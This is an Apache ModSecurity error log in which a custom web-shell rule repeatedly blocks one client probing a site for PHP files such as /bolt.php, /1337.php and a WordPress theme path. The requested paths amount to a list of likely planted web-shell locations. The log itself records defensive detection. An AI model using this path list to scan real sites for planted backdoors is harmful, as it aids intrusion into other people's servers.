[Sat Feb 07 09:22:43.430727 2026] [:error] [pid 50673:tid 50746] [client 74.248.113.199:5789] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYaT42VwLsaZ7aKO2ck8ewAAAIs"]
[Sat Feb 07 09:22:44.210331 2026] [:error] [pid 50673:tid 50747] [client 74.248.113.199:35959] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYaT5GVwLsaZ7aKO2ck8fAAAAIw"]
[Sat Feb 07 09:22:45.030422 2026] [:error] [pid 43182:tid 43188] [client 74.248.113.199:44415] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYaT5fEC82JnxmrnFYkZUgAAAUQ"]
[Sat Feb 07 09:22:45.673116 2026] [:error] [pid 55157:tid 55181] [client 74.248.113.199:39403] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYaT5X36JdtTn2bTEowzvQAAARM"]
[Sat Feb 07 09:22:46.302905 2026] [:error] [pid 55157:tid 55185] [client 74.248.113.199:36046] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aYaT5n36JdtTn2bTEowzvwAAARc"]
[Sat Feb 07 09:22:47.063619 2026] [:error] [pid 50673:tid 50759] [client 74.248.113.199:42828] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aYaT52VwLsaZ7aKO2ck8gAAAAJg"]
[Sat Feb 07 09:22:47.629270 2026] [:error] [pid 50673:tid 50749] [client 74.248.113.199:36040] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aYaT52VwLsaZ7aKO2ck8gQAAAI4"]
[Sat Feb 07 09:22:48.361318 2026] [:error] [pid 43182:tid 43205] [client 74.248.113.199:44641] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aYaT6PEC82JnxmrnFYkZWAAAAVU"]
[Sat Feb 07 09:22:49.375188 2026] [:error] [pid 50780:tid 50784] [client 74.248.113.199:12566] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aYaT6etUmIu2JHM2CrvmgwAAAMI"]
[Sat Feb 07 09:22:50.034404 2026] [:error] [pid 50780:tid 50786] [client 74.248.113.199:34186] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aYaT6utUmIu2JHM2CrvmhQAAAMQ"]
[Sat Feb 07 09:22:50.717782 2026] [:error] [pid 43182:tid 43186] [client 74.248.113.199:44129] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aYaT6vEC82JnxmrnFYkZYQAAAUI"]
[Sat Feb 07 09:22:51.339302 2026] [:error] [pid 50780:tid 50801] [client 74.248.113.199:37414] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aYaT6-tUmIu2JHM2CrvmhgAAANM"]
[Sat Feb 07 09:22:52.008064 2026] [:error] [pid 50780:tid 50803] [client 74.248.113.199:12565] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aYaT7OtUmIu2JHM2CrvmhwAAANU"]
[Sat Feb 07 09:22:52.671540 2026] [:error] [pid 50673:tid 50745] [client 74.248.113.199:16679] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aYaT7GVwLsaZ7aKO2ck8iAAAAIo"]
[Sat Feb 07 09:22:53.524461 2026] [:error] [pid 43182:tid 43191] [client 74.248.113.199:38707] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aYaT7fEC82JnxmrnFYkZaAAAAUc"]
[Sat Feb 07 09:23:02.853204 2026] [:error] [pid 55157:tid 55172] [client 74.248.113.199:16659] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-miiss.php.php"] [unique_id "aYaT9n36JdtTn2bTEowz2AAAAQo"]
[Sat Feb 07 09:23:04.716113 2026] [:error] [pid 55157:tid 55175] [client 74.248.113.199:45293] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-miiss.php.php"] [unique_id "aYaT-H36JdtTn2bTEowz2QAAAQ0"]
[Sat Feb 07 09:23:05.742920 2026] [:error] [pid 43182:tid 43207] [client 74.248.113.199:43508] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-miiss.php.php"] [unique_id "aYaT-fEC82JnxmrnFYkZcwAAAVc"]
[Sat Feb 07 09:23:06.857047 2026] [:error] [pid 43182:tid 43206] [client 74.248.113.199:43494] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-miiss.php.php"] [unique_id "aYaT-vEC82JnxmrnFYkZdQAAAVY"]
[Sat Feb 07 09:23:07.482895 2026] [:error] [pid 50780:tid 50782] [client 74.248.113.199:42347] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ho/wpup.php"] [unique_id "aYaT--tUmIu2JHM2CrvmnQAAAMA"]
[Sat Feb 07 09:23:08.240487 2026] [:error] [pid 50780:tid 50802] [client 74.248.113.199:36961] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ho/wpup.php"] [unique_id "aYaT_OtUmIu2JHM2CrvmngAAANQ"]
[Sat Feb 07 09:23:09.407049 2026] [:error] [pid 50780:tid 50785] [client 74.248.113.199:10202] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ho/wpup.php"] [unique_id "aYaT_etUmIu2JHM2CrvmnwAAAMM"]
[Sat Feb 07 09:23:10.300941 2026] [:error] [pid 50672:tid 50708] [client 74.248.113.199:6126] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ho/wpup.php"] [unique_id "aYaT_g9o0jq1XS8Nv7O-jQAAAEA"]
[Sat Feb 07 09:23:11.063484 2026] [:error] [pid 50673:tid 50748] [client 74.248.113.199:36019] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aYaT_2VwLsaZ7aKO2ck8mgAAAI0"]
[Sat Feb 07 09:23:11.837963 2026] [:error] [pid 50672:tid 50732] [client 74.248.113.199:43497] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aYaT_w9o0jq1XS8Nv7O-kQAAAFg"]
[Sat Feb 07 09:23:12.754410 2026] [:error] [pid 50780:tid 50784] [client 74.248.113.199:33902] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aYaUAOtUmIu2JHM2CrvmowAAAMI"]
[Sat Feb 07 09:23:13.722750 2026] [:error] [pid 50671:tid 50686] [client 74.248.113.199:45264] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aYaUAbvqLohWBI_mqBMfFAAAAAY"]
[Sat Feb 07 09:23:14.400937 2026] [:error] [pid 50780:tid 50792] [client 74.248.113.199:33908] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aYaUAutUmIu2JHM2CrvmpAAAAMo"]
[Sat Feb 07 09:23:15.542211 2026] [:error] [pid 50780:tid 50796] [client 74.248.113.199:36483] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aYaUA-tUmIu2JHM2CrvmpgAAAM4"]
[Sat Feb 07 09:23:16.542421 2026] [:error] [pid 43182:tid 43207] [client 74.248.113.199:36537] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aYaUBPEC82JnxmrnFYkZfAAAAVc"]
[Sat Feb 07 09:23:17.183853 2026] [:error] [pid 55157:tid 55176] [client 74.248.113.199:36517] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aYaUBX36JdtTn2bTEowz3wAAAQ4"]
[Sat Feb 07 09:23:17.984134 2026] [:error] [pid 50780:tid 50788] [client 74.248.113.199:39562] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hey.php"] [unique_id "aYaUBetUmIu2JHM2CrvmqgAAAMY"]
[Sat Feb 07 09:23:18.884368 2026] [:error] [pid 43182:tid 43185] [client 74.248.113.199:45259] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hey.php"] [unique_id "aYaUBvEC82JnxmrnFYkZggAAAUE"]
[Sat Feb 07 09:23:19.772124 2026] [:error] [pid 50671:tid 50703] [client 74.248.113.199:35977] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hey.php"] [unique_id "aYaUB7vqLohWBI_mqBMfHAAAABc"]
[Sat Feb 07 09:23:20.414700 2026] [:error] [pid 55157:tid 55169] [client 74.248.113.199:45288] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hey.php"] [unique_id "aYaUCH36JdtTn2bTEowz5wAAAQc"]
[Sat Feb 07 09:23:21.199886 2026] [:error] [pid 50671:tid 50680] [client 74.248.113.199:28688] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaUCbvqLohWBI_mqBMfHgAAAAA"]
[Sat Feb 07 09:23:22.242106 2026] [:error] [pid 50672:tid 50724] [client 74.248.113.199:5910] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaUCg9o0jq1XS8Nv7O-lwAAAFA"]
[Sat Feb 07 09:23:23.077218 2026] [:error] [pid 43182:tid 43186] [client 74.248.113.199:39615] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaUC_EC82JnxmrnFYkZhAAAAUI"]
[Sat Feb 07 09:23:23.739343 2026] [:error] [pid 50673:tid 50750] [client 74.248.113.199:37673] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaUC2VwLsaZ7aKO2ck8owAAAI8"]
[Sat Feb 07 09:23:24.516976 2026] [:error] [pid 50673:tid 50757] [client 74.248.113.199:38149] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1337.php"] [unique_id "aYaUDGVwLsaZ7aKO2ck8pAAAAJY"]
[Sat Feb 07 09:23:25.256222 2026] [:error] [pid 50671:tid 50687] [client 74.248.113.199:39568] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1337.php"] [unique_id "aYaUDbvqLohWBI_mqBMfJgAAAAc"]
[Sat Feb 07 09:23:25.979198 2026] [:error] [pid 50672:tid 50718] [client 74.248.113.199:39601] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1337.php"] [unique_id "aYaUDQ9o0jq1XS8Nv7O-mwAAAEo"]
[Sat Feb 07 09:23:26.648389 2026] [:error] [pid 50673:tid 50735] [client 74.248.113.199:5921] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1337.php"] [unique_id "aYaUDmVwLsaZ7aKO2ck8qwAAAIA"]
[Sat Feb 07 09:23:27.350791 2026] [:error] [pid 50672:tid 50713] [client 74.248.113.199:38174] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aYaUDw9o0jq1XS8Nv7O-nQAAAEU"]
[Sat Feb 07 09:23:28.281422 2026] [:error] [pid 50672:tid 50716] [client 74.248.113.199:37629] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aYaUEA9o0jq1XS8Nv7O-nwAAAEg"]
[Sat Feb 07 09:23:28.923943 2026] [:error] [pid 50671:tid 50683] [client 74.248.113.199:37628] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aYaUELvqLohWBI_mqBMfLAAAAAM"]
[Sat Feb 07 09:23:29.821468 2026] [:error] [pid 50673:tid 50737] [client 74.248.113.199:37638] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aYaUEWVwLsaZ7aKO2ck8rgAAAII"]
[Sat Feb 07 09:23:30.603319 2026] [:error] [pid 55157:tid 55172] [client 74.248.113.199:34964] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apsarasarts/okk.php"] [unique_id "aYaUEn36JdtTn2bTEowz7wAAAQo"]
[Sat Feb 07 09:23:31.432805 2026] [:error] [pid 50673:tid 50749] [client 74.248.113.199:40571] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apsarasarts/okk.php"] [unique_id "aYaUE2VwLsaZ7aKO2ck8sgAAAI4"]
[Sat Feb 07 09:23:32.245769 2026] [:error] [pid 55157:tid 55164] [client 74.248.113.199:37114] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apsarasarts/okk.php"] [unique_id "aYaUFH36JdtTn2bTEowz8AAAAQI"]
[Sat Feb 07 09:23:33.867890 2026] [:error] [pid 43182:tid 43194] [client 74.248.113.199:37657] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apsarasarts/okk.php"] [unique_id "aYaUFfEC82JnxmrnFYkZlAAAAUo"]
[Sat Feb 07 09:23:34.774293 2026] [:error] [pid 55157:tid 55165] [client 74.248.113.199:36927] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYaUFn36JdtTn2bTEowz8QAAAQM"]
[Sat Feb 07 09:23:35.894040 2026] [:error] [pid 50673:tid 50735] [client 74.248.113.199:39087] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYaUF2VwLsaZ7aKO2ck8tAAAAIA"]
[Sat Feb 07 09:23:36.652670 2026] [:error] [pid 55157:tid 55169] [client 74.248.113.199:41049] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYaUGH36JdtTn2bTEowz8wAAAQc"]
[Sat Feb 07 09:23:37.888688 2026] [:error] [pid 55157:tid 55173] [client 74.248.113.199:42905] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aYaUGX36JdtTn2bTEowz9QAAAQs"]
